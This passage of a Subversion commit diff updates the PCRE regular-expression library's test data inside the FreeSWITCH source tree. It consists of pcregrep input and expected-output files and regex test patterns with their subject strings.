+And so on and so on
+And so on and so on

Copied: freeswitch/branches/seven/libs/pcre/testdata/grepinputv (from rev 14471, freeswitch/trunk/libs/pcre/testdata/grepinputv) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/grepinputv	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/testdata/grepinputv	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+The quick brown
+fox jumps
+over the lazy dog.
+This time it jumps and jumps and jumps.

Modified: freeswitch/branches/seven/libs/pcre/testdata/grepinputx (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/grepinputx	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/grepinputx	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,11 +39,5 @@
 nineteen
 twenty
 
-Here follows some CR/LF/CRLF test data.
-
-abc
-def
-ghi
-jkl
-
+This line contains pattern not on a line by itself.
 This is the last line of this file.

Modified: freeswitch/branches/seven/libs/pcre/testdata/grepoutput (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/grepoutput	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/grepoutput	2009-08-09 18:53:22 UTC (rev 14472)
@@ -18,6 +18,7 @@
 ./testdata/grepinput:608:Check up on PATTERN near the end.
 ./testdata/grepinputx:3:Here is the pattern again.
 ./testdata/grepinputx:5:Pattern
+./testdata/grepinputx:42:This line contains pattern not on a line by itself.
 ---------------------------- Test 6 ------------------------------
 7:PATTERN at the start of a line.
 8:In the middle of a line, PATTERN appears.
@@ -25,6 +26,7 @@
 608:Check up on PATTERN near the end.
 3:Here is the pattern again.
 5:Pattern
+42:This line contains pattern not on a line by itself.
 ---------------------------- Test 7 ------------------------------
 ./testdata/grepinput
 ./testdata/grepinputx
@@ -75,19 +77,13 @@
 39:nineteen
 40:twenty
 41:
-42:Here follows some CR/LF/CRLF test data.
-43:
-44:abc
-def
-45:ghi
-46:jkl
-47:
-48:This is the last line of this file.
+43:This is the last line of this file.
 ---------------------------- Test 12 -----------------------------
 Pattern
 ---------------------------- Test 13 -----------------------------
 Here is the pattern again.
 That time it was on a line by itself.
+This line contains pattern not on a line by itself.
 ---------------------------- Test 14 -----------------------------
 ./testdata/grepinputx:To pat or not to pat, that is the question.
 ---------------------------- Test 15 -----------------------------
@@ -164,8 +160,8 @@
 nineteen
 twenty
 
-Here follows some CR/LF/CRLF test data.
-
+This line contains pattern not on a line by itself.
+This is the last line of this file.
 ---------------------------- Test 25 -----------------------------
 15-
 16-complete pair
@@ -215,8 +211,8 @@
 nineteen
 twenty
 
-Here follows some CR/LF/CRLF test data.
-
+This line contains pattern not on a line by itself.
+This is the last line of this file.
 ---------------------------- Test 27 -----------------------------
 four
 five
@@ -236,10 +232,8 @@
 nineteen
 twenty
 
-Here follows some CR/LF/CRLF test data.
-
-abc
-def
+This line contains pattern not on a line by itself.
+This is the last line of this file.
 ---------------------------- Test 28 -----------------------------
 14-of lines all by themselves.
 15-
@@ -291,12 +285,8 @@
 nineteen
 twenty
 
-Here follows some CR/LF/CRLF test data.
-
-abc
-def
-ghi
-jkl
+This line contains pattern not on a line by itself.
+This is the last line of this file.
 ---------------------------- Test 30 -----------------------------
 ./testdata/grepinput-4-features should be added at the end, because some of the tests involve the
 ./testdata/grepinput-5-output of line numbers, and we don't want these to change.
@@ -316,6 +306,11 @@
 ./testdata/grepinputx:3:Here is the pattern again.
 ./testdata/grepinputx-4-
 ./testdata/grepinputx:5:Pattern
+--
+./testdata/grepinputx-39-nineteen
+./testdata/grepinputx-40-twenty
+./testdata/grepinputx-41-
+./testdata/grepinputx:42:This line contains pattern not on a line by itself.
 ---------------------------- Test 31 -----------------------------
 ./testdata/grepinput:7:PATTERN at the start of a line.
 ./testdata/grepinput:8:In the middle of a line, PATTERN appears.
@@ -334,6 +329,9 @@
 ./testdata/grepinputx-6-That time it was on a line by itself.
 ./testdata/grepinputx-7-
 ./testdata/grepinputx-8-To pat or not to pat, that is the question.
+--
+./testdata/grepinputx:42:This line contains pattern not on a line by itself.
+./testdata/grepinputx-43-This is the last line of this file.
 ---------------------------- Test 32 -----------------------------
 ./testdata/grepinputx
 ---------------------------- Test 33 -----------------------------
@@ -345,6 +343,7 @@
 ./testdata/grepinputx
 RC=0
 ---------------------------- Test 36 -----------------------------
+./testdata/grepinput8
 ./testdata/grepinputx
 RC=0
 ---------------------------- Test 37 -----------------------------
@@ -352,11 +351,11 @@
 aaaaa2
 RC=0
 ======== STDERR ========
-pcregrep: pcre_exec() error -8 while matching this line:
+pcregrep: pcre_exec() error -8 while matching this text:
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 pcregrep: error -8 means that a resource limit was exceeded
 pcregrep: check your regex for nested unlimited loops
-pcregrep: pcre_exec() error -8 while matching this line:
+pcregrep: pcre_exec() error -8 while matching this text:
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 ---------------------------- Test 38 ------------------------------
 This line contains a binary zero here >< for testing.
@@ -374,10 +373,13 @@
 ./testdata/grepinput:597:after the binary zero
 ---------------------------- Test 42 ------------------------------
 595:before
+595:zero
 596:zero
 597:after
+597:zero
 ---------------------------- Test 43 ------------------------------
 595:before
+595:zero
 596:zero
 597:zero
 ---------------------------- Test 44 ------------------------------
@@ -399,24 +401,25 @@
 AB.VE the turtle
 PUT NEW DATA ABOVE THIS LINE.
 ---------------------------- Test 49 ------------------------------
-abc
-def
-ghi
-jkl
 ---------------------------- Test 50 ------------------------------
-def
+over the lazy dog.
+This time it jumps and jumps and jumps.
 ---------------------------- Test 51 ------------------------------
-abc
-def
-ghi
-jkl
+fox jumps
+This time it jumps and jumps and jumps.
 ---------------------------- Test 52 ------------------------------
-def
-
-ghi
-jkl
-
-This is the last line of this file.
-
+36972,6
+36990,4
+37024,4
+37066,5
+37083,4
 ---------------------------- Test 53 ------------------------------
-jkl
+595:15,6
+595:33,4
+596:28,4
+597:15,5
+597:32,4
+---------------------------- Test 54 -----------------------------
+Here is the pattern again.
+That time it was on a line by itself.
+This line contains pattern not on a line by itself.

Copied: freeswitch/branches/seven/libs/pcre/testdata/grepoutput8 (from rev 14471, freeswitch/trunk/libs/pcre/testdata/grepoutput8) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/grepoutput8	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/testdata/grepoutput8	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+---------------------------- Test U1 ------------------------------
+1:X one
+2:X two3:X three4:X four
+5:X five
+6:X six
+7:X seven…8:X eight
9:X nine
10:X ten
+---------------------------- Test U2 ------------------------------
+12-Before 111
+13-Before 222
14-Before 333…15:Match
+16-After 111
+17-After 222
18-After 333

Copied: freeswitch/branches/seven/libs/pcre/testdata/grepoutputN (from rev 14471, freeswitch/trunk/libs/pcre/testdata/grepoutputN) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/grepoutputN	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/testdata/grepoutputN	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+---------------------------- Test N1 ------------------------------
+1:abc
+2:def
+---------------------------- Test N2 ------------------------------
+1:abc
+def
+2:ghi
+jkl---------------------------- Test N3 ------------------------------
+2:def
+3:
+ghi
+jkl---------------------------- Test N4 ------------------------------
+2:ghi
+jkl---------------------------- Test N5 ------------------------------
+1:abc
+2:def
+3:ghi
+4:jkl---------------------------- Test N6 ------------------------------
+1:abc
+2:def
+3:ghi
+4:jkl
\ No newline at end of file

Modified: freeswitch/branches/seven/libs/pcre/testdata/testinput1 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput1	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1297,8 +1297,7 @@
     abc
 
 /^a	b
-  
-    c/x
+      c/x
     abc
 
 /^(a|)\1*b/
@@ -1454,11 +1453,6 @@
 /{4,5a}bc/
     {4,5a}bc
 
-/^a.b/
-    a\rb
-    *** Failers
-    a\nb
-
 /abc$/
     abc
     abc\n
@@ -1500,8 +1494,8 @@
 /(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)\12\123/
     abcdefghijk\12S
 
-/ab\gdef/
-    abgdef
+/ab\idef/
+    abidef
 
 /a{0}bc/
     bc
@@ -3382,9 +3376,14 @@
     cdaccb
 
 /^(?:a?b?)*$/
+    \
+    a
+    ab
+    aaa   
     *** Failers
     dbcb
     a--
+    aa-- 
 
 /((?s)^a(.))((?m)^b$)/
     a\nb\nc\n
@@ -3422,11 +3421,6 @@
 /((?m)^b)/
     a\nb\nc\n
 
-/(?(1)a|b)/
-
-/(?(1)b|a)/
-    a
-
 /(x)?(?(1)a|b)/
     *** Failers
     a
@@ -3884,4 +3878,190 @@
     a,b]
     [a,b,c]  
 
+/(?-x: )/x
+    A\x20B
+    
+"(?x)(?-x: \s*#\s*)"
+    A # B
+    ** Failers
+    #  
+
+"(?x-is)(?:(?-ixs) \s*#\s*) include"
+    A #include
+    ** Failers
+    A#include  
+    A #Include
+
+/a*b*\w/
+    aaabbbb
+    aaaa
+    a
+
+/a*b?\w/
+    aaabbbb
+    aaaa
+    a
+
+/a*b{0,4}\w/
+    aaabbbb
+    aaaa
+    a
+
+/a*b{0,}\w/
+    aaabbbb
+    aaaa
+    a
+    
+/a*\d*\w/
+    0a
+    a 
+    
+/a*b *\w/x
+    a 
+
+/a*b#comment
+  *\w/x
+    a 
+
+/a* b *\w/x
+    a 
+
+/^\w+=.*(\\\n.*)*/
+    abc=xyz\\\npqr
+
+/(?=(\w+))\1:/
+    abcd:
+
+/^(?=(\w+))\1:/
+    abcd:
+
+/^\Eabc/
+    abc
+    
+/^[\Eabc]/
+    a
+    ** Failers 
+    E 
+    
+/^[a-\Ec]/
+    b
+    ** Failers
+    -
+    E    
+
+/^[a\E\E-\Ec]/
+    b
+    ** Failers
+    -
+    E    
+
+/^[\E\Qa\E-\Qz\E]+/
+    b
+    ** Failers
+    -  
+    
+/^[a\Q]bc\E]/
+    a
+    ]
+    c
+    
+/^[a-\Q\E]/
+    a
+    -     
+
+/^(a()*)*/
+    aaaa
+
+/^(?:a(?:(?:))*)*/
+    aaaa
+
+/^(a()+)+/
+    aaaa
+
+/^(?:a(?:(?:))+)+/
+    aaaa
+
+/(a){0,3}(?(1)b|(c|))*D/
+    abbD
+    ccccD
+    D  
+
+/(a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/(?>a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/(?:a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/\Z/g
+  abc\n
+  
+/^(?s)(?>.*)(?<!\n)/
+  abc
+  abc\n  
+
+/^(?![^\n]*\n\z)/
+  abc
+  abc\n 
+  
+/\z(?<!\n)/
+  abc
+  abc\n  
+
+/(.*(.)?)*/
+    abcd
+
+/( (A | (?(1)0|) )*   )/x
+    abcd
+
+/( ( (?(1)0|) )*   )/x
+    abcd
+
+/(  (?(1)0|)*   )/x
+    abcd
+
+/[[:abcd:xyz]]/
+    a]
+    :] 
+    
+/[abc[:x\]pqr]/
+    a
+    [
+    :
+    ]
+    p    
+
+/.*[op][xyz]/
+    fooabcfoo
+
+/(?(?=.*b)b|^)/
+   adc
+   abc 
+
+/(?(?=^.*b)b|^)/
+   adc
+   abc 
+
+/(?(?=.*b)b|^)*/
+   adc
+   abc 
+
+/(?(?=.*b)b|^)+/
+   adc
+   abc 
+
+/(?(?=b).*b|^d)/
+    abc
+
+/(?(?=.*b).*b|^d)/
+    abc
+
+/^%((?(?=[a])[^%])|b)*%$/
+    %ab%
+
 / End of testinput1 /

Copied: freeswitch/branches/seven/libs/pcre/testdata/testinput10 (from rev 14471, freeswitch/trunk/libs/pcre/testdata/testinput10) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput10	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput10	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,124 @@
+/-- These are a few representative patterns whose lengths and offsets are to be 
+shown when the link size is 2. This is just a doublecheck test to ensure the 
+sizes don't go horribly wrong when something is changed. The pattern contents 
+are all themselves checked in other tests. --/
+
+/((?i)b)/BM
+
+/(?s)(.*X|^B)/BM
+
+/(?s:.*X|^B)/BM
+
+/^[[:alnum:]]/BM
+
+/#/IxMD
+
+/a#/IxMD
+
+/x?+/BM
+
+/x++/BM
+
+/x{1,3}+/BM 
+
+/(x)*+/BM
+
+/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/BM
+
+|8J\$WE\<\.rX\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|BM
+
+|\$\<\.X\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|BM
+
+/(a(?1)b)/BM
+
+/(a(?1)+b)/BM
+
+/a(?P<name1>b|c)d(?P<longername2>e)/BM
+
+/(?:a(?P<c>c(?P<d>d)))(?P<a>a)/BM
+
+/(?P<a>a)...(?P=a)bbb(?P>a)d/BM
+
+/abc(?C255)de(?C)f/BM
+
+/abcde/CBM
+
+/\x{100}/8BM
+
+/\x{1000}/8BM
+
+/\x{10000}/8BM
+
+/\x{100000}/8BM
+
+/\x{1000000}/8BM
+
+/\x{4000000}/8BM
+
+/\x{7fffFFFF}/8BM
+
+/[\x{ff}]/8BM
+
+/[\x{100}]/8BM
+
+/\x80/8BM
+
+/\xff/8BM
+
+/\x{0041}\x{2262}\x{0391}\x{002e}/D8M
+    
+/\x{D55c}\x{ad6d}\x{C5B4}/D8M 
+
+/\x{65e5}\x{672c}\x{8a9e}/D8M
+
+/[\x{100}]/8BM
+
+/[Z\x{100}]/8BM
+
+/^[\x{100}\E-\Q\E\x{150}]/B8M
+
+/^[\QĀ\E-\QŐ\E]/B8M
+
+/^[\QĀ\E-\QŐ\E/B8M
+
+/[\p{L}]/BM
+
+/[\p{^L}]/BM
+
+/[\P{L}]/BM
+
+/[\P{^L}]/BM
+
+/[abc\p{L}\x{0660}]/8BM
+
+/[\p{Nd}]/8BM
+
+/[\p{Nd}+-]+/8BM
+
+/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8iBM
+
+/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8BM
+
+/[\x{105}-\x{109}]/8iBM
+
+/( ( (?(1)0|) )*   )/xBM
+
+/(  (?(1)0|)*   )/xBM
+
+/[a]/BM
+
+/[a]/8BM
+
+/[\xaa]/BM
+
+/[\xaa]/8BM
+
+/[^a]/BM
+
+/[^a]/8BM
+
+/[^\xaa]/BM
+
+/[^\xaa]/8BM
+
+/ End of testinput10 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testinput2 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput2	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput2	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
-/(a)b|/
+/(a)b|/I
 
-/abc/
+/abc/I
     abc
     defabc
     \Aabc
@@ -8,29 +8,29 @@
     \Adefabc
     ABC
 
-/^abc/
+/^abc/I
     abc
     \Aabc
     *** Failers
     defabc
     \Adefabc
 
-/a+bc/
+/a+bc/I
 
-/a*bc/
+/a*bc/I
 
-/a{3}bc/
+/a{3}bc/I
 
-/(abc|a+z)/
+/(abc|a+z)/I
 
-/^abc$/
+/^abc$/I
     abc
     *** Failers
     def\nabc
 
-/ab\gdef/X
+/ab\idef/X
 
-/(?X)ab\gdef/X
+/(?X)ab\idef/X
 
 /x{5,4}/
 
@@ -50,41 +50,41 @@
 
 /(?z)abc/
 
-/.*b/
+/.*b/I
 
-/.*?b/
+/.*?b/I
 
-/cat|dog|elephant/
+/cat|dog|elephant/I
     this sentence eventually mentions a cat
     this sentences rambles on and on for a while and then reaches elephant
 
-/cat|dog|elephant/S
+/cat|dog|elephant/IS
     this sentence eventually mentions a cat
     this sentences rambles on and on for a while and then reaches elephant
 
-/cat|dog|elephant/iS
+/cat|dog|elephant/IiS
     this sentence eventually mentions a CAT cat
     this sentences rambles on and on for a while to elephant ElePhant
 
-/a|[bcd]/S
+/a|[bcd]/IS
 
-/(a|[^\dZ])/S
+/(a|[^\dZ])/IS
 
-/(a|b)*[\s]/S
+/(a|b)*[\s]/IS
 
 /(ab\2)/
 
 /{4,5}abc/
 
-/(a)(b)(c)\2/
+/(a)(b)(c)\2/I
     abcb
     \O0abcb
     \O3abcb
     \O6abcb
     \O9abcb
-    \O12abcb 
+    \O12abcb
 
-/(a)bc|(a)(b)\2/
+/(a)bc|(a)(b)\2/I
     abc
     \O0abc
     \O3abc
@@ -96,7 +96,7 @@
     \O9aba
     \O12aba
 
-/abc$/E
+/abc$/IE
     abc
     *** Failers
     abc\n
@@ -104,93 +104,93 @@
 
 /(a)(b)(c)(d)(e)\6/
 
-/the quick brown fox/
+/the quick brown fox/I
     the quick brown fox
     this is a line with the quick brown fox
 
-/the quick brown fox/A
+/the quick brown fox/IA
     the quick brown fox
     *** Failers
     this is a line with the quick brown fox
 
 /ab(?z)cd/
 
-/^abc|def/
+/^abc|def/I
     abcdef
     abcdef\B
 
-/.*((abc)$|(def))/
+/.*((abc)$|(def))/I
     defabc
     \Zdefabc
 
-/abc/P
+/abc/IP
     abc
     *** Failers
-    
-/^abc|def/P
+
+/^abc|def/IP
     abcdef
     abcdef\B
 
-/.*((abc)$|(def))/P
+/.*((abc)$|(def))/IP
     defabc
     \Zdefabc
-  
-/the quick brown fox/P
+
+/the quick brown fox/IP
     the quick brown fox
-    *** Failers 
-    The Quick Brown Fox 
+    *** Failers
+    The Quick Brown Fox
 
-/the quick brown fox/Pi
+/the quick brown fox/IPi
     the quick brown fox
-    The Quick Brown Fox 
+    The Quick Brown Fox
 
-/abc.def/P
+/abc.def/IP
     *** Failers
     abc\ndef
-    
-/abc$/P
+
+/abc$/IP
     abc
-    abc\n 
+    abc\n
 
-/(abc)\2/P
+/(abc)\2/IP
 
-/(abc\1)/P
+/(abc\1)/IP
     abc
 
 /)/
 
 /a[]b/
 
-/[^aeiou ]{3,}/
-    co-processors, and for 
-    
-/<.*>/
+/[^aeiou ]{3,}/I
+    co-processors, and for
+
+/<.*>/I
     abc<def>ghi<klm>nop
 
-/<.*?>/
+/<.*?>/I
     abc<def>ghi<klm>nop
 
-/<.*>/U
+/<.*>/IU
     abc<def>ghi<klm>nop
-    
-/(?U)<.*>/
+
+/(?U)<.*>/I
     abc<def>ghi<klm>nop
 
-/<.*?>/U
+/<.*?>/IU
     abc<def>ghi<klm>nop
-    
-/={3,}/U
+
+/={3,}/IU
     abc========def
-    
-/(?U)={3,}?/
+
+/(?U)={3,}?/I
     abc========def
-    
-/(?<!bar|cattle)foo/
+
+/(?<!bar|cattle)foo/I
     foo
-    catfoo 
+    catfoo
     *** Failers
     the barfoo
-    and cattlefoo   
+    and cattlefoo
 
 /(?<=a+)b/
 
@@ -198,25 +198,25 @@
 
 /(?<!(foo)a\1)bar/
 
-/(?i)abc/
+/(?i)abc/I
 
-/(a|(?m)a)/
+/(a|(?m)a)/I
 
-/(?i)^1234/
+/(?i)^1234/I
 
-/(^b|(?i)^d)/
+/(^b|(?i)^d)/I
 
-/(?s).*/
+/(?s).*/I
 
-/[abcd]/S
+/[abcd]/IS
 
-/(?i)[abcd]/S
+/(?i)[abcd]/IS
 
-/(?m)[xy]|(b|c)/S
+/(?m)[xy]|(b|c)/IS
 
-/(^a|^b)/m
+/(^a|^b)/Im
 
-/(?i)(^a|^b)/m
+/(?i)(^a|^b)/Im
 
 /(a)(?(1)a|b|c)/
 
@@ -224,66 +224,68 @@
 
 /(?(1a)/
 
+/(?(1a))/
+
 /(?(?i))/
 
 /(?(abc))/
 
 /(?(?<ab))/
 
-/((?s)blah)\s+\1/
+/((?s)blah)\s+\1/I
 
-/((?i)blah)\s+\1/
+/((?i)blah)\s+\1/I
 
-/((?i)b)/DS
+/((?i)b)/IDZS
 
-/(a*b|(?i:c*(?-i)d))/S
+/(a*b|(?i:c*(?-i)d))/IS
 
-/a$/
+/a$/I
     a
     a\n
-    *** Failers 
+    *** Failers
     \Za
-    \Za\n   
+    \Za\n
 
-/a$/m
+/a$/Im
     a
     a\n
-    \Za\n   
-    *** Failers 
+    \Za\n
+    *** Failers
     \Za
-    
-/\Aabc/m
 
-/^abc/m 
+/\Aabc/Im
 
-/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/
+/^abc/Im
+
+/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/I
   aaaaabbbbbcccccdef
 
-/(?<=foo)[ab]/S
+/(?<=foo)[ab]/IS
 
-/(?<!foo)(alpha|omega)/S
+/(?<!foo)(alpha|omega)/IS
 
-/(?!alphabet)[ab]/S
+/(?!alphabet)[ab]/IS
 
-/(?<=foo\n)^bar/m
-    foo\nbarbar 
+/(?<=foo\n)^bar/Im
+    foo\nbarbar
     ***Failers
-    rhubarb 
+    rhubarb
     barbell
-    abc\nbarton 
+    abc\nbarton
 
-/^(?<=foo\n)bar/m
-    foo\nbarbar 
+/^(?<=foo\n)bar/Im
+    foo\nbarbar
     ***Failers
-    rhubarb 
+    rhubarb
     barbell
-    abc\nbarton 
+    abc\nbarton
 
-/(?>^abc)/m
+/(?>^abc)/Im
     abc
     def\nabc
     *** Failers
-    defabc   
+    defabc
 
 /(?<=ab(c+)d)ef/
 
@@ -293,51 +295,51 @@
 
 /The next three are in testinput2 because they have variable length branches/
 
-/(?<=bullock|donkey)-cart/
+/(?<=bullock|donkey)-cart/I
     the bullock-cart
     a donkey-cart race
     *** Failers
     cart
-    horse-and-cart    
-      
-/(?<=ab(?i)x|y|z)/
+    horse-and-cart
 
-/(?>.*)(?<=(abcd)|(xyz))/
+/(?<=ab(?i)x|y|z)/I
+
+/(?>.*)(?<=(abcd)|(xyz))/I
     alphabetabcd
     endingxyz
 
-/(?<=ab(?i)x(?-i)y|(?i)z|b)ZZ/
+/(?<=ab(?i)x(?-i)y|(?i)z|b)ZZ/I
     abxyZZ
     abXyZZ
     ZZZ
     zZZ
     bZZ
-    BZZ     
+    BZZ
     *** Failers
-    ZZ 
-    abXYZZ 
+    ZZ
+    abXYZZ
     zzz
-    bzz  
+    bzz
 
-/(?<!(foo)a)bar/
+/(?<!(foo)a)bar/I
     bar
-    foobbar 
+    foobbar
     *** Failers
-    fooabar  
+    fooabar
 
-/This one is here because Perl 5.005_02 doesn't fail it/
+/This one is here because Perl 5.005_02 doesn't fail it/I
 
-/^(a)?(?(1)a|b)+$/
+/^(a)?(?(1)a|b)+$/I
     *** Failers
-    a 
+    a
 
-/This one is here because I think Perl 5.005_02 gets the setting of $1 wrong/
+/This one is here because I think Perl 5.005_02 gets the setting of $1 wrong/I
 
-/^(a\1?){4}$/
+/^(a\1?){4}$/I
     aaaaaa
-    
-/These are syntax tests from Perl 5.005/
 
+/These are syntax tests from Perl 5.005/I
+
 /a[b-a]/
 
 /a[]b/
@@ -362,23 +364,23 @@
 
 /(a)|\2/
 
-/a[b-a]/i
+/a[b-a]/Ii
 
-/a[]b/i
+/a[]b/Ii
 
-/a[/i
+/a[/Ii
 
-/*a/i
+/*a/Ii
 
-/(*)b/i
+/(*)b/Ii
 
-/abc)/i
+/abc)/Ii
 
-/(abc/i
+/(abc/Ii
 
-/a**/i
+/a**/Ii
 
-/)(/i
+/)(/Ii
 
 /:(?:/
 
@@ -396,8 +398,6 @@
 
 /(?(1?)a|b)/
 
-/(?(1)a|b|c)/
-
 /[a[:xyz:/
 
 /(?<=x+)y/
@@ -410,190 +410,190 @@
 
 /abc/\i
 
-/(a)bc(d)/
+/(a)bc(d)/I
     abcd
     abcd\C2
     abcd\C5
-     
-/(.{20})/
+
+/(.{20})/I
     abcdefghijklmnopqrstuvwxyz
     abcdefghijklmnopqrstuvwxyz\C1
     abcdefghijklmnopqrstuvwxyz\G1
-     
-/(.{15})/
+
+/(.{15})/I
     abcdefghijklmnopqrstuvwxyz
     abcdefghijklmnopqrstuvwxyz\C1\G1
 
-/(.{16})/
+/(.{16})/I
     abcdefghijklmnopqrstuvwxyz
     abcdefghijklmnopqrstuvwxyz\C1\G1\L
-    
-/^(a|(bc))de(f)/
-    adef\G1\G2\G3\G4\L 
-    bcdef\G1\G2\G3\G4\L 
-    adefghijk\C0 
-    
-/^abc\00def/
-    abc\00def\L\C0 
-    
-/word ((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ 
-)((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ 
-)?)?)?)?)?)?)?)?)?otherword/M
 
-/.*X/D
+/^(a|(bc))de(f)/I
+    adef\G1\G2\G3\G4\L
+    bcdef\G1\G2\G3\G4\L
+    adefghijk\C0
 
-/.*X/Ds
+/^abc\00def/I
+    abc\00def\L\C0
 
-/(.*X|^B)/D
+/word ((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+
+)((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+
+)?)?)?)?)?)?)?)?)?otherword/I
 
-/(.*X|^B)/Ds
-    
-/(?s)(.*X|^B)/D
+/.*X/IDZ
 
-/(?s:.*X|^B)/D
+/.*X/IDZs
 
-/\Biss\B/+
+/(.*X|^B)/IDZ
+
+/(.*X|^B)/IDZs
+
+/(?s)(.*X|^B)/IDZ
+
+/(?s:.*X|^B)/IDZ
+
+/\Biss\B/I+
     Mississippi
 
-/\Biss\B/+P
+/\Biss\B/I+P
     Mississippi
 
-/iss/G+
+/iss/IG+
     Mississippi
 
-/\Biss\B/G+
+/\Biss\B/IG+
     Mississippi
 
-/\Biss\B/g+
+/\Biss\B/Ig+
     Mississippi
     *** Failers
     Mississippi\A
 
-/(?<=[Ms])iss/g+
+/(?<=[Ms])iss/Ig+
     Mississippi
 
-/(?<=[Ms])iss/G+
+/(?<=[Ms])iss/IG+
     Mississippi
 
-/^iss/g+
+/^iss/Ig+
     ississippi
-    
-/.*iss/g+
-    abciss\nxyzisspqr 
 
-/.i./+g
+/.*iss/Ig+
+    abciss\nxyzisspqr
+
+/.i./I+g
     Mississippi
     Mississippi\A
     Missouri river
-    Missouri river\A  
+    Missouri river\A
 
-/^.is/+g
+/^.is/I+g
     Mississippi
 
-/^ab\n/g+
+/^ab\n/Ig+
     ab\nab\ncd
 
-/^ab\n/mg+
+/^ab\n/Img+
     ab\nab\ncd
 
-/abc/
+/abc/I
 
-/abc|bac/
+/abc|bac/I
 
-/(abc|bac)/
